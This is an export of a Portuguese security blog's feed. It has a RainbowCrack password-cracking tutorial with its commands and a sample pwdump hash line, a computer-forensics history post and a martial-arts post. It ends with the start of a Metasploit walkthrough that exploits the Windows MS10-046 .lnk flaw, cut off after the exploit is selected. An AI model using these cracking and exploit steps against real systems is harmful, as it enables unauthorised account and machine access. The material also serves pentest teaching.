href='http://hackproofing.blogspot.com/2011/02/caros-para-quem-tiver-interesse-na-area.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8350054898589378182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8350054898589378182'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/02/caros-para-quem-tiver-interesse-na-area.html' title='Participação no 2º CNASI Courses &amp; Training, em Brasília'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-447505530736590542</id><published>2011-01-11T16:47:00.002-02:00</published><updated>2011-01-11T16:53:50.674-02:00</updated><title type='text'>Rainbow Crack e Rainbow Tables</title><content type='html'>&lt;p&gt;RainbowCrack é um programa que gera rainbow tables para serem usadas na quebra de senhas. O RainbowCrack difere dos programas de força bruta convencionais, pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir drasticamente o tempo necessário para quebrar senhas. &lt;/p&gt;Um ótimo programa para utilizarmos para quebrar senhas Windows com rainbow tables é o Ophcrack&lt;br /&gt;&lt;p&gt;&lt;em&gt;#aptitude install ophcrack&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Outro programa, que quebra inclusive hashs MD5, SHA1, SHA2 e etc, é o Cain (que roda em Windows). &lt;/p&gt;&lt;br /&gt; &lt;ul&gt;&lt;li&gt;  Para baixar Rainbow Tables: &lt;a href="http://rainbowtables.shmoo.com/" target="_blank"&gt; http://rainbowtables.shmoo.com/ &lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;    Para entender mais: &lt;a href="http://www.ethicalhacker.net/content/view/94/24/" target="_blank"&gt; http://www.ethicalhacker.net/content/view/94/24/&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;RainbowCrack é uma ferramenta cujo objetivo é quebrar hash de senhas.&lt;br /&gt;&lt;p&gt;  O método utilizado pela ferramenta é o brute force. Nesse método, todas as senhas em texto plano e seus hashs correspondentes são computados um por um. O hash computado é comparado com o hash alvo. Se um deles for igual, a senha em texto plano é encontrada. Do contrário, o processo continua até finalizar todas as senhas possíveis. &lt;/p&gt;No método time-memory, a tarefa de computar hashs é feita através do armazenamento dos resultados no que chamamos de "rainbow table". Depois disso, os hashes podem ser acessados a partir das rainbow tables sempre que necessário. O processo pré-computacional precisa de muito tempo para criar as chaves que serão posteriormente utilizadas. No entanto, uma vez que esse processo tenha terminado, a performance da rainbow tables pode ser de centenas a milhares de vezes maior do que o método de brute force.&lt;br /&gt;&lt;p&gt;  Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software inclui três ferramentas que devem ser usadas em sequência para fazer a coisa funcionar: &lt;/p&gt;&lt;br /&gt; &lt;ul&gt;&lt;li&gt;  Passo 1: usar o rtgen para gerar as rainbow tables.&lt;/li&gt;&lt;br /&gt; &lt;li&gt;    Passo 2: usar o rtsort para organizar as rainbow tables geradas pelo rtgen. &lt;/li&gt;&lt;br /&gt; &lt;li&gt;    Passo 3: usar o rcrack para buscar o conteúdo das rainbow tables organizadas pelo rtsort. &lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;O processo de buscar o conteúdo no passo final, é equivalente ao processo de quebra de hash. E todas essas ferramentas são utilizadas através da linha de comando.&lt;br /&gt;&lt;p&gt;O programa rtgen precisa de diversos parâmetros para gerar uma rainbow table, e a sintaxe do comando é: &lt;/p&gt;&lt;strong&gt;&lt;em&gt;rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index &lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;Explicação dos parâmetros:&lt;/p&gt;&lt;br /&gt; &lt;ul&gt;&lt;li&gt;  &lt;strong&gt;hash_algorithm&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt; O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado na rainbow table.&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;charset&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   A configuração dos caracteres (charset) do texto plano na rainbow tables. Todos os charsets possíveis estão definidos no arquivo charset.txt.&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;plaintext_len_min&lt;br /&gt;&lt;br /&gt;   plaintext_len_max&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   Estes dois parâmetros definem o tamanho possível de todo o texto plano na rainbow tables. Se o charset é numérico, o plaintext_len_min é 1, e o plaintext_len_max é 5, então a string "12345" será incluída na tabela, mas "123456" não.&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;table_index&lt;br /&gt;&lt;br /&gt;   chain_len&lt;br /&gt;&lt;br /&gt;   chain_num&lt;br /&gt;&lt;br /&gt;   part_index &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   Estes quatro parâmetros são mais difíceis de explicar em poucas palavras. Ler e compreender o artigo original de Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o significado exato.&lt;br /&gt;&lt;br /&gt;   O table_index está relacionado ao "reduce function" que é utilizado na rainbow table.&lt;br /&gt;&lt;br /&gt;   O chain_len é o tamanho de cada "rainbow chain" na rainbow table. Uma "rainbow chain" configurada como 16 bytes é a menor unidade em uma rainbow table. Uma rainbow tables contém diversas rainbow chains.&lt;br /&gt;&lt;br /&gt;   O chains_num é o número de rainbow chains em uma rainbow table.&lt;br /&gt;&lt;br /&gt;   O parâmetro part_index determina como o "start point" em cada rainbow chain é gerado. Deve ser um número (ou começar com um número).&lt;br /&gt;&lt;br /&gt; &lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Os valores corretos de todos os parâmetros dependem do que vocês precisa, e selecionar bons parâmetros requer um bom entendimento do algoritmo de time-memory tradeoff.&lt;br /&gt;&lt;p&gt;  Uma configuração que funciona está logo abaixo, como um exemplo:&lt;/p&gt;&lt;br /&gt; &lt;ul&gt;&lt;li&gt;&lt;strong&gt;hash_algorithm&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   lm, ntlm or md5&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    charset&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789] ou&lt;br /&gt;&lt;br /&gt;   loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    plaintext_len_min&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   1&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    plaintext_len_max&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   7 &lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    chain_len&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   3800&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    chain_num&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   33554432&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    key space&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   36^1 + 36^2 + 36^3 + 36^4 + 36^5 + 36^6 + 36^7 = 80603140212&lt;br /&gt;&lt;br /&gt;   Key space é o número de possíveis strings em texto plano para o charset, plaintext_len_min e plaintext_len_max selecionados.&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    table size &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   3 GB&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt;    success rate &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;   0.999&lt;br /&gt;&lt;br /&gt;   O algoritmo de time-memory tradeoff é um algoritmos probabilístico. Qualquer que seja os parâmetros selecionados, há sempre probabilidade de que as strings dentro do charset selecionado e o tamanho das strings não seja completamente coberto. A taxa de sucesso é de 99.9% com os parâmetros usados nesse evento.&lt;br /&gt;&lt;br /&gt;   comandos para gerar as tabelas&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;strong&gt; Os comandos do rtgen usados para gerar as rainbow tables são:&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0&lt;br /&gt;&lt;br /&gt;   rtgen md5 loweralpha-numeric 1 7 1 3800 33554432 0&lt;br /&gt;&lt;br /&gt;   rtgen md5 loweralpha-numeric 1 7 2 3800 33554432 0&lt;br /&gt;&lt;br /&gt;   rtgen md5 loweralpha-numeric 1 7 3 3800 33554432 0&lt;br /&gt;&lt;br /&gt;   rtgen md5 loweralpha-numeric 1 7 4 3800 33554432 0&lt;br /&gt;&lt;br /&gt;   rtgen md5 loweralpha-numeric 1 7 5 3800 33554432 0 &lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Se precisar criar uma tabela de hashes ntlm ou lm, substitua o "md5" nos comandos acima por "ntlm" ou "lm".&lt;br /&gt;&lt;p&gt;  Se precisar de uma tabela com o charset alpha-numeric, substitua o "loweralpha-numeric" nos comandos acima por "alpha-numeric". &lt;/p&gt;Se uma tabela com hashes lm for criada, tenha certeza de que seu charset seja alpha-numeric ao invés de loweralpha-numeric. O algoritmo lm nunca utiliza caracteres minúsculos como strings.&lt;br /&gt;&lt;p&gt;Agora é hora de criar uma rainbow table. &lt;/p&gt;Altere o diretório corrente em seu terminal de comando para o diretório do RainbowCrack, e execute o comando seguinte:&lt;br /&gt;&lt;p&gt;&lt;em&gt;# cd /pentest/passwords/rcrack&lt;br /&gt;&lt;br /&gt; # rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0 &lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Esse comando leva 4 horas para ser completado em um computador com um processador Core2 Duo E7300. É possível parar a execução do mesmo a qualquer momento pressionando Ctrl+C. Da próxima vez que o comando for executado com a mesma linha de comando, ele continuará a partir do ponto em que foi interrompido para continuar com a geração da tabela. &lt;/p&gt;Quando o comando tiver terminado, um arquivo com o nome de "md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt" e tamanho de 512 MB será criado. O nome do mesmo é simplesmente a linha de comando utilizada com os parâmetros interligados, com a extensão "rt". O programa rcrack que será explicado mais a frente, precisa dessas informações para saber quais os parâmetros existentes na rainbow table. Portanto, não renomeie o arquivo.&lt;br /&gt;&lt;p&gt;As demais tabelas podem ser geradas da mesma forma, com os comandos: &lt;/p&gt;# rtgen md5 loweralpha-numeric 1 7 1 3800 33554432 0&lt;br /&gt;&lt;p&gt;&lt;em&gt;# rtgen md5 loweralpha-numeric 1 7 2 3800 33554432 0&lt;br /&gt;&lt;br /&gt; # rtgen md5 loweralpha-numeric 1 7 3 3800 33554432 0&lt;br /&gt;&lt;br /&gt; # rtgen md5 loweralpha-numeric 1 7 4 3800 33554432 0&lt;br /&gt;&lt;br /&gt; # rtgen md5 loweralpha-numeric 1 7 5 3800 33554432 0 &lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Finalmente, esses arquivos são gerados:&lt;br /&gt;&lt;br /&gt; md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt     512MB&lt;br /&gt;&lt;br /&gt; md5_loweralpha-numeric#1-7_1_3800x33554432_0.rt     512MB&lt;br /&gt;&lt;br /&gt; md5_loweralpha-numeric#1-7_2_3800x33554432_0.rt     512MB&lt;br /&gt;&lt;br /&gt; md5_loweralpha-numeric#1-7_3_3800x33554432_0.rt     512MB&lt;br /&gt;&lt;br /&gt; md5_loweralpha-numeric#1-7_4_3800x33554432_0.rt     512MB&lt;br /&gt;&lt;br /&gt; md5_loweralpha-numeric#1-7_5_3800x33554432_0.rt     512MB &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Agora, o processo de criação da rainbow table está completo.&lt;/p&gt;As rainbow tables geradas pelo programa rtgen precisam de um pós-processamento para tornar sua consulta mais fácil e rápida. O programa rtsort é utilizado para organizar todas as rainbow chains em uma rainbow table.&lt;br /&gt;&lt;p&gt;  Utilize os seguintes comandos: &lt;/p&gt;# rtsort md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt&lt;br /&gt;&lt;p&gt;&lt;em&gt;# rtsort md5_loweralpha-numeric#1-7_1_3800x33554432_0.rt&lt;br /&gt;&lt;br /&gt; # rtsort md5_loweralpha-numeric#1-7_2_3800x33554432_0.rt&lt;br /&gt;&lt;br /&gt; # rtsort md5_loweralpha-numeric#1-7_3_3800x33554432_0.rt&lt;br /&gt;&lt;br /&gt; # rtsort md5_loweralpha-numeric#1-7_4_3800x33554432_0.rt&lt;br /&gt;&lt;br /&gt; # rtsort md5_loweralpha-numeric#1-7_5_3800x33554432_0.rt &lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execução. O programa rtsort gravará a rainbow table organizada por sobre o arquivo orginal. Não interrompa a execução do comando, do contrário o arquivo original será danificado. &lt;/p&gt;Agora o processo de organização das rainbow tables está completo.&lt;br /&gt;&lt;p&gt;O programa rcrack é utilizado para acessar as rainbow tables. Ele aceita apenas rainbow tables organizadas. &lt;/p&gt;Assumindo que as rainbow tables organizadas estejam no mesmo diretório do programa, para quebrar hashes únicos a linha de comando será:&lt;br /&gt;&lt;p&gt;&lt;em&gt;  # rcrack *.rt -h aqui_vai_o_hash_para_ser_quebrado &lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;O primeiro parâmetro especifica o caminho para buscar nos arquivos das rainbow tables. Os caracteres "*" e "?" podem ser usados para especificar vários arquivos. &lt;/p&gt;Normalmente isso leva algumas dezenas segundos para finalizar, se a string existir dentro do "range" do charset e tamanho de strings selecionados. Do contrário, leva-se muito mais tempo para buscar por todas as tabelas, apenas para não encontrar nada.&lt;br /&gt;&lt;p&gt;  Para quebrar múltiplos hashs, coloque todos os hashs em um arquivo de texto, com um hash por linha. E então especifique o nome do arquivo na linha de comando do programa rcrack: &lt;/p&gt;&lt;em&gt;# rcrack *.rt -l arquivo_com_lista_de_hashes &lt;/em&gt;&lt;br /&gt;&lt;p&gt;Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um suporte especial para o parâmetro "-f". Um arquivo de dump de hash no formato pwdump é necessário como input para o programa rcrack. O conteúdo do arquivo parecerá com o seguinte: &lt;/p&gt;Administrator:500:1c3a2b6d939a1021aad3b435b51404ee:e24106942bf38bcf57a6a4b29016eff6:::&lt;br /&gt;&lt;p&gt;Guest:501:a296c9e4267e9ba9aad3b435b51404ee:9d978dda95e5185bbeda9b3ae00f84b4::: &lt;/p&gt;&lt;br /&gt;&lt;p&gt;O arquivo pwdump é a saída de utilitários tais como pwdump2, pwdump3 ou outros. E contém os hashes tanto lm quant ntlm. &lt;/p&gt;Para quebrar hashes lm em arquivos pwdump, use o seguinte comando:&lt;br /&gt;&lt;p&gt;&lt;em&gt;  # rcrack *.rt -f arquivo_pwdump &lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;O algoritmo de hash lm converte todas as letras minúsculas em strings maiúsculas; como resultado disso, todas as strings quebradas através do hashe lm, nunca contém letras minúscula, enquanto que a string original poed conter letras minúsculas. O programa rcrack tentará corrigir isso em hashes ntlm armazenados no mesmo arquivo e exibir a string original.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-447505530736590542?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/447505530736590542/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/01/rainbow-crack-e-rainbow-tables.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/447505530736590542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/447505530736590542'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/01/rainbow-crack-e-rainbow-tables.html' title='Rainbow Crack e Rainbow Tables'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5013281941813465618</id><published>2011-01-04T23:44:00.001-02:00</published><updated>2011-01-04T23:44:53.169-02:00</updated><title type='text'>Forense Computacional - Conceitos Iniciais - Parte 1</title><content type='html'>&lt;p&gt;Para compreendermos o que é a ciência forense, é interessante que saibamos um pouco de sua história, como surgiu e suas diversas utilizações ao longo dos períodos históricos.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;strong&gt;História&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;No século 19, surge um dos primeiros pesquisadores, Francis Galton, que elabora um estudo complexo sobre as impressões digitais.&lt;br /&gt;&lt;br /&gt; Tal estudo serve como base para as investigações que diferenciam um ser humano do outro, baseado em uma característica única que não se repete. O grande problema, é que após algumas décadas, descobriu-se que pelo menos 5% da população mundial não possui digitais, seja por problemas genéticos, seja por suas atividades profissionais que fazem com que as digitais de uma pessoa se desgaste com o tempo, tais como: professores(as), pedreiros, faxineiras(os) e pessoas que manipulam produtos químicos abrasivos.&lt;br /&gt;&lt;br /&gt; Já no início do século 20, o cientista Leone Lattes descobre que os tipos sanguíneos podem ser divididos em grupos de acordo com características próprias. E a partir de sua pesquisa surgem os grupos A, B, AB e O. Isso auxilia na ciência forense quando há cenas de crimes envolvendo sangue, o que já permite diminuir a quantidade de suspeitos, puramente a partir de uma análise do tipo sanguíneo.&lt;br /&gt;&lt;br /&gt; Também no início do século 20, Calvin Goddard desenvolve um estudo sobre a comparação entre projéteis de armas de fogo o que possibilita a detecção da arma que disparou o projétil existente em uma cena onde há a necessidade de uma análise forense. Esse estudo torna-se um marco para a solução de inúmeros casos julgados em um tribunal.&lt;br /&gt;&lt;br /&gt; No mesmo período, Albert Osborn desenvolve uma pesquisa sobre as características e metodologias para análise de documentos, o que pode comprovar fraudes, falsificações e veracidade dos mesmos.&lt;br /&gt;&lt;br /&gt; Outro cientista que nessa mesma época contribui com seus estudos para a área de forense é Hans Gross, que desenvolve o método científico para a realização de investigações criminalísticas.&lt;br /&gt;&lt;br /&gt; E em 1932, no FBI, um laboratório foi organizado para prover serviços de análise forense a todos os agentes de campo e outras autoridades legais de todo os EUA.&lt;br /&gt;&lt;br /&gt; Todos esses estudos, pesquisas e desenvolvimentos, se devem aos esforços de cientistas que atuavam na área da ciência forense ou não, mas que de alguma forma suas descobertas contribuíram para o avanço no trabalho dos profissionais de gerações posteriores.&lt;br /&gt;&lt;br /&gt; Tanto que, mesmo após um século dos primeiros estudos, as bases e conceitos desenvolvidos por esses pioneiros continuam atuais e amplamente utilizadas ao longo de um processo de análise. A única diferença são os equipamentos utilizados.&lt;br /&gt;&lt;br /&gt; No entanto, a maioria dos conceitos e métodos permanecem os mesmos.&lt;br /&gt;&lt;br /&gt; Isso só começa a mudar com o advento da informática e o crescente nível de importância da informação no contexto da atualidade. Essas mudanças surgem, por conta de um novo paradigma, onde os crimes são realizados de uma outra maneira e as cenas não são mais aquelas tradicionais, com sangue, fios de cabelo e fluidos corporais. E as vítimas não são mais os corpos físicos dos denunciantes, mas suas identidades e vidas virtuais.&lt;br /&gt;&lt;br /&gt; Definição. Uma excelente definição que pode esclarecer o que é a ciência forense é a que se segue, retirada do livro “Handbook of Forensic Pathology College of American Pathologists”, de 1990:&lt;br /&gt;&lt;br /&gt; &lt;em&gt;“Aplicação da ciência física à lei na busca pela verdade em assuntos civis, criminais e de comportamento social, com o fim de que nenhuma injustiça seja feita à nenhum membro da sociedade”.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;E ainda podemos acrescentar que o objetivo básico da mesma é a determinação do valor das evidências relacionadas à cena de um crime.&lt;br /&gt;&lt;br /&gt;No entanto, com o passar do tempo, as cenas de crime mudaram e os objetos relacionados ao mesmo deixaram de ser capuzes, armas de fogo, carros em disparada e projéteis recolhidos no local comprometido.&lt;br /&gt;&lt;br /&gt;Os artefatos utilizados em um crime tornaram-se mais sofisticados e um criminoso não precisa mais sair do conforto de seu lar para causar milhões de prejuízos às suas vítimas. Não temos mais sangue envolvidos numa cena de um crime, apenas 0’s e 1’s, ou seja, bits.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5013281941813465618?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5013281941813465618/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/01/forense-computacional-conceitos.html#comment-form' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5013281941813465618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5013281941813465618'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/01/forense-computacional-conceitos.html' title='Forense Computacional - Conceitos Iniciais - Parte 1'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1441528674573441224</id><published>2010-12-21T10:40:00.006-02:00</published><updated>2010-12-21T12:15:20.433-02:00</updated><title type='text'>Escrima</title><content type='html'>&lt;b&gt;Eskrima&lt;/b&gt; , &lt;b&gt;Escrima&lt;/b&gt; ou &lt;b&gt;Escryma&lt;/b&gt; se refere a uma categoria de &lt;a href="http://pt.wikipedia.org/w/index.php?title=Artes_Marciais_Filipinas&amp;amp;action=edit&amp;amp;redlink=1" class="new" title="Artes Marciais Filipinas (página não existe)"&gt;Artes Marciais Filipinas&lt;/a&gt; (do inglês Filipino Martial Arts - FMA) que priorizam o treino de luta com armas (principalmente &lt;a href="http://pt.wikipedia.org/wiki/Bast%C3%A3o" title="Bastão"&gt;bastão&lt;/a&gt;, &lt;a href="http://pt.wikipedia.org/wiki/Espada" title="Espada"&gt;espada&lt;/a&gt; e &lt;a href="http://pt.wikipedia.org/wiki/Faca" title="Faca"&gt;Faca&lt;/a&gt;),  e também ensinam habilidades de luta à mão vazia, que são essenciais  num combate em que seu oponente esteja armado e você desarmado. Outros  termos também comumente utilizados para se referir a esta arte são &lt;b&gt;Kali&lt;/b&gt; e &lt;b&gt;Arnis de Mano&lt;/b&gt; (&lt;a href="http://pt.wikipedia.org/wiki/Chicote" title="Chicote"&gt;chicote&lt;/a&gt; com as &lt;a href="http://pt.wikipedia.org/wiki/M%C3%A3os" title="Mãos" class="mw-redirect"&gt;mãos&lt;/a&gt;). &lt;b&gt;Eskrima&lt;/b&gt; e &lt;b&gt;Arnis&lt;/b&gt; estão entre os muitos termos utilizados nas Filipinas para se referir a esta arte.&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-size:78%;"&gt;Origem: Wikipedia&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Sei que esse post é um pouco fora de contexto, mas decidi postá-lo mesmo assim. Essa é uma faceta do profissional de segurança que poucos conhecem, que além de tudo ainda é psicoterapeuta e instrutor de artes marciais ;-)&lt;br /&gt;&lt;br /&gt;O trecho acima, retirado da wikipedia, é sobre uma das artes marciais da qual sou instrutor: Escrima, ou Eskrima. Além dessa, ainda sou instrutor de WingTsun, como alguns que me conhecem já sabem.&lt;br /&gt;&lt;br /&gt;Hoje, portanto, gostaria de postar algumas fotos de um treino que ministrei no RJ, na Quinta da Boa Vista, de Escrima. Seguem abaixo:&lt;span style="font-size:78%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PBPc4xPuBKI/TRCiIG_xzMI/AAAAAAAAAKI/Zeck1qZmHGI/s1600/1.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 267px;" src="http://4.bp.blogspot.com/_PBPc4xPuBKI/TRCiIG_xzMI/AAAAAAAAAKI/Zeck1qZmHGI/s400/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5553116600748592322" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PBPc4xPuBKI/TRCiIZMV06I/AAAAAAAAAKQ/lMnEyIlqHFs/s1600/2.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 267px;" src="http://1.bp.blogspot.com/_PBPc4xPuBKI/TRCiIZMV06I/AAAAAAAAAKQ/lMnEyIlqHFs/s400/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5553116605633123234" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:78%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PBPc4xPuBKI/TRCiIeEGJUI/AAAAAAAAAKY/gV-L1uXNnJ0/s1600/3.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 266px; height: 400px;" src="http://2.bp.blogspot.com/_PBPc4xPuBKI/TRCiIeEGJUI/AAAAAAAAAKY/gV-L1uXNnJ0/s400/3.jpg" alt="" id="BLOGGER_PHOTO_ID_5553116606940718402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1441528674573441224?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1441528674573441224/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/12/eskrima-escrima-ou-escryma-se-refere.html#comment-form' title='5 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1441528674573441224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1441528674573441224'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/12/eskrima-escrima-ou-escryma-se-refere.html' title='Escrima'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PBPc4xPuBKI/TRCiIG_xzMI/AAAAAAAAAKI/Zeck1qZmHGI/s72-c/1.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-9008330309505272745</id><published>2010-12-03T14:21:00.001-02:00</published><updated>2010-12-03T14:21:47.384-02:00</updated><title type='text'>Atacando máquinas Windows (XP, Vista, 7, 2003, 2008) através de um webserver falso</title><content type='html'>&lt;p&gt;  Essa explora&amp;ccedil;&amp;atilde;o baseia-se na falha existente no Windows, em todas as suas vers&amp;otilde;es, no que diz respeito a manipula&amp;ccedil;&amp;atilde;o de arquivos .lnk. Essa falha, assim como seu exploit tornaram-se p&amp;uacute;blicos no final de na segunda quinzena de julho/2010.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  O mais interessante, &amp;eacute; que ap&amp;oacute;s tornar p&amp;uacute;blica a falha, e consequentem ente o exploit, que surgiu um dia depois da divulga&amp;ccedil;&amp;atilde;o da falha por parte da Microsoft, a corre&amp;ccedil;&amp;atilde;o da mesma s&amp;oacute; foi sair quase um m&amp;ecirc;s depois, deixando milh&amp;otilde;es de m&amp;aacute;quinas vulner&amp;aacute;veis a esse simples, mas devastador ataque.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Vamos l&amp;aacute;...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;# ./msfconsole&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  O primeiro comando seleciona o exploit que ser&amp;aacute; usado:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&amp;gt; use exploit/windows/browser/ms10_046_shortcut_icon_dllloader&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Caso queiramos mais 